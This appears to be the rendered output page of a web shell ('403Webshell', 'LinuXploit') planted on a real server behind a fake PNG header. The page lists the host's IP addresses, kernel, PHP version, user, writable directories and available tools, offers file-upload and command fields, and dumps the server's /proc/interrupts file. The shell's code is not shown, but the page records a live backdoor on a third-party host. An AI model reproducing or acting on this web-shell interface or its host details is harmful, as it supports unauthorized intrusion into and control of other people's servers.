‰PNG  IHDRwSȚ-tEXtCommentNxplo403WebShell
403Webshell
Server IP : 144.76.1.235  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux einkaufsring.com 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.16
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
   8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  18:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   18-fasteoi   i801_smbus
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   27-fasteoi   idma64.0, i2c_designware.0
  40:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   40-fasteoi   idma64.1, i2c_designware.1
 120:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
 121:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    1-edge      dmar1
 122:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 98304-edge      PCIe PME, aerdrv, pciehp
 123:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 425984-edge      PCIe PME, aerdrv, pciehp
 124:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 442368-edge      PCIe PME, aerdrv
 125:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 450560-edge      PCIe PME, aerdrv, pciehp
 126:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 458752-edge      PCIe PME, aerdrv
 127:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 468992-edge      PCIe PME, aerdrv
 128:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 475136-edge      PCIe PME, aerdrv
 129:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 483328-edge      PCIe PME, aerdrv, pciehp
 130:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 376832-edge      ahci[0000:00:17.0]
 131:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0         70          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097152-edge      nvme0q0
 132:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0         70          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194304-edge      nvme1q0
 133:          0          0          0          0          0          0          0          0          0          0          0          0          0         37          0          0          0          0          0          0          0          0          0      56152          0          0          0          0          0          0          0          0  IR-PCI-MSI 327680-edge      xhci_hcd
 134:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145728-edge      enp6s0
 135:          0          0          0          0          0          0          0          0          0        517          0    1782356          0          0          0          0          0          0          0         24          0      37623          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145729-edge      enp6s0-TxRx-0
 136:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0         46          0          0          0          0          0          0          0    1718214          0          0          0  IR-PCI-MSI 3145730-edge      enp6s0-TxRx-1
 137:          0          0          0          0          0          0          0       9091          0          0          0      31459          0          0          0          0          0          0          0          0          0    1696578          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145731-edge      enp6s0-TxRx-2
 138:          0          0          0          0          0          0          0          0          0    1662541          0        307          0          0          0          0          0          0          0          0          0       1145         10          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145732-edge      enp6s0-TxRx-3
 139:      76293          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194305-edge      nvme1q1
 140:          0     106890          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194306-edge      nvme1q2
 141:          0          0     199432          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194307-edge      nvme1q3
 142:          0          0          0     186580          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194308-edge      nvme1q4
 143:          0          0          0          0     188281          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194309-edge      nvme1q5
 144:          0          0          0          0          0     170599          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194310-edge      nvme1q6
 145:          0          0          0          0          0          0     197995          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194311-edge      nvme1q7
 146:          0          0          0          0          0          0          0     146106          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194312-edge      nvme1q8
 147:          0          0          0          0          0          0          0          0     167897          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194313-edge      nvme1q9
 148:          0          0          0          0          0          0          0          0          0      75932          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194314-edge      nvme1q10
 149:          0          0          0          0          0          0          0          0          0          0     284111          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194315-edge      nvme1q11
 150:          0          0          0          0          0          0          0          0          0          0          0     272235          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194316-edge      nvme1q12
 151:          0          0          0          0          0          0          0          0          0          0          0          0     251098          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194317-edge      nvme1q13
 152:          0          0          0          0          0          0          0          0          0          0          0          0          0     192118          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194318-edge      nvme1q14
 153:          0          0          0          0          0          0          0          0          0          0          0          0          0          0     185159          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194319-edge      nvme1q15
 154:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0     129216          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194320-edge      nvme1q16
 155:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      37273          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194321-edge      nvme1q17
 156:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      46434          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194322-edge      nvme1q18
 157:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      19485          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194323-edge      nvme1q19
 158:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      49425          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194324-edge      nvme1q20
 159:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      32399          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194325-edge      nvme1q21
 160:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      44363          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194326-edge      nvme1q22
 161:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      31540          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194327-edge      nvme1q23
 162:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      30373          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194328-edge      nvme1q24
 163:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      37267          0          0          0          0          0          0          0  IR-PCI-MSI 4194329-edge      nvme1q25
 164:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      54660          0          0          0          0          0          0  IR-PCI-MSI 4194330-edge      nvme1q26
 165:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      37410          0          0          0          0          0  IR-PCI-MSI 4194331-edge      nvme1q27
 166:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      55618          0          0          0          0  IR-PCI-MSI 4194332-edge      nvme1q28
 167:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      38451          0          0          0  IR-PCI-MSI 4194333-edge      nvme1q29
 168:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      72209          0          0  IR-PCI-MSI 4194334-edge      nvme1q30
 169:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      36370          0  IR-PCI-MSI 4194335-edge      nvme1q31
 170:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      43618  IR-PCI-MSI 4194336-edge      nvme1q32
 171:      81444          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097153-edge      nvme0q1
 172:          0     112403          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097154-edge      nvme0q2
 173:          0          0     213448          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097155-edge      nvme0q3
 174:          0          0          0     194398          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097156-edge      nvme0q4
 175:          0          0          0          0     176446          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097157-edge      nvme0q5
 176:          0          0          0          0          0     159294          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097158-edge      nvme0q6
 177:          0          0          0          0          0          0     185666          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097159-edge      nvme0q7
 178:          0          0          0          0          0          0          0     137580          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097160-edge      nvme0q8
 179:          0          0          0          0          0          0          0          0     157526          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097161-edge      nvme0q9
 180:          0          0          0          0          0          0          0          0          0      67537          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097162-edge      nvme0q10
 181:          0          0          0          0          0          0          0          0          0          0     254819          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097163-edge      nvme0q11
 182:          0          0          0          0          0          0          0          0          0          0          0     243591          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097164-edge      nvme0q12
 183:          0          0          0          0          0          0          0          0          0          0          0          0     233769          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097165-edge      nvme0q13
 184:          0          0          0          0          0          0          0          0          0          0          0          0          0     180724          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097166-edge      nvme0q14
 185:          0          0          0          0          0          0          0          0          0          0          0          0          0          0     171382          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097167-edge      nvme0q15
 186:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0     117296          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097168-edge      nvme0q16
 187:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      35320          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097169-edge      nvme0q17
 188:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      43597          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097170-edge      nvme0q18
 189:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      18664          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097171-edge      nvme0q19
 190:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      43479          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097172-edge      nvme0q20
 191:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      29193          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097173-edge      nvme0q21
 192:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      37137          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097174-edge      nvme0q22
 193:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      29167          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097175-edge      nvme0q23
 194:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      28390          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097176-edge      nvme0q24
 195:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      34667          0          0          0          0          0          0          0  IR-PCI-MSI 2097177-edge      nvme0q25
 196:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      42506          0          0          0          0          0          0  IR-PCI-MSI 2097178-edge      nvme0q26
 197:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      35762          0          0          0          0          0  IR-PCI-MSI 2097179-edge      nvme0q27
 198:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      33705          0          0          0          0  IR-PCI-MSI 2097180-edge      nvme0q28
 199:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      31154          0          0          0  IR-PCI-MSI 2097181-edge      nvme0q29
 200:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      29951          0          0  IR-PCI-MSI 2097182-edge      nvme0q30
 201:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      34258          0  IR-PCI-MSI 2097183-edge      nvme0q31
 202:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      38295  IR-PCI-MSI 2097184-edge      nvme0q32
 203:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 514048-edge      snd_hda_intel:card0
 NMI:      18324      18304      18317      18297      18325      18314      18325      18314      18325      18313      18325      18313      18325      18314      18325      18314      15946      15946      15946      15946      15946      15943      15943      15943      15856      15856      15856      15856      15930      15930      15930      15930   Non-maskable interrupts
 LOC:   31023629   30876718   31433819   31451133   31152938   31003687   30948555   30638814   30956069   30311488   30811424   30643012   31397909   31246614   31252028   30891425   30518373   30922556   30672770   31040522   30352979   30401252   30353645   30404099   30609118   30430827   30297014   30363414   30250789   30508843   30457018   31098723   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:      18324      18304      18317      18297      18325      18314      18325      18314      18325      18313      18325      18313      18325      18314      18325      18314      15946      15946      15946      15946      15946      15943      15943      15943      15856      15856      15856      15856      15930      15930      15930      15930   Performance monitoring interrupts
 IWI:          0          0          2          0          0          0          1          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:     217004     259969     627328     383979     434501     361966     416530     344279     320937     533108     440330     715824     502261     412204     431858     382050     117633     132817     124411     142341     149467     429972     136364     122488     149292     147957     128303     128349     386107     135805     141234     123577   Rescheduling interrupts
 CAL:     113806      91854      81426      84244      81992      82052      81955      82540      83678      84031      81015      82205      81278      81965      79060      82982      83377      83235      84715      82991      82629      83746      81863      81105      82150      82867      82959      83061      83949      82384      82335      82970   Function call interrupts
 TLB:        517        577        760        405        587        428        576        258        701        469        746        750        682        273        578        269        645        467        540        524        548        873        671        563        527        868        611        544        530        461        422        515   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:        382        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383        383   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit